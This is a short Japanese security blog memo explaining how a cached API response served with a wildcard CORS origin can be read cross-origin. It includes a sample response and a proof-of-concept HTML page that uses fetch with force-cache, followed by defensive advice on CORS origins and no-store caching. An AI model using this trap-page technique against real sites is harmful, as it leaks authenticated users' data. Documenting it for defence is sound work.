December 27, 2019

Information Leak from Browser Cache with Fetch API

CORS の設定ミスとブラウザへのキャッシュの設定によって、Information Leak するというテクニックのメモ。

対象の API レスポンスヘッダに Access-Control-Allow-Origin: * がついているとする。
また、Access-Control-Allow-Credentials が false なので、セッションが有効な状態での Cross Origin からの API リクエストは不可能なので、罠ページなどを通して fetch することはできない。

Access-Control-Allow-Origin: *
Access-Control-Allow-Credentials: false

しかし、ここでレスポンスがブラウザにキャッシュされてしまうと、fetch はできないものの、キャッシュを利用してレスポンスを取得できる。

HTTP/1.1 200 OK
Server: nginx/1.15.5
Date: Fri, 27 Dec 2019 11:26:38 GMT
Content-Type: text/plain; charset=UTF-8
Connection: close
Access-Control-Allow-Origin: *
Last-Modified: Fri, 27 Dec 2019 11:26:36 GMT
Etag: b0e895b943c5ea448235ca31adf4fa73
Expires: Fri, 27 Dec 2019 11:28:38 GMT
Cache-Control: max-age=120
Content-Length: 25

{"user":["admin"]}

fetch API の cache オプションに force-cache を指定する。
すると、たとえキャッシュが古くてもキャッシュを利用するようになる。

<html>
<script>
var url = "http://test.local/index.php";
fetch(url, {
  method: 'GET',
  cache: 'force-cache'
}).then(
  response => response.text()
).then(
  text => console.log(text)
);
</script>
</html>

これで例えクロスオリジンであろうが、 Access-Control-Allow-Credentials: false であっても先のレスポンス内容を取得することができる。
そのため次のようなことに気をつける必要がある。

  • Access-Control-Allow-Origin に * を指定せず、信頼できる Origin を指定する
  • 認証が必要なページ等には Cache-Control: no-store を指定する

ref : https://enumerated.wordpress.com/2019/12/24/sop-bypass-via-browser-cache/

このエントリーをはてなブックマークに追加

© Kouhei Morita 2018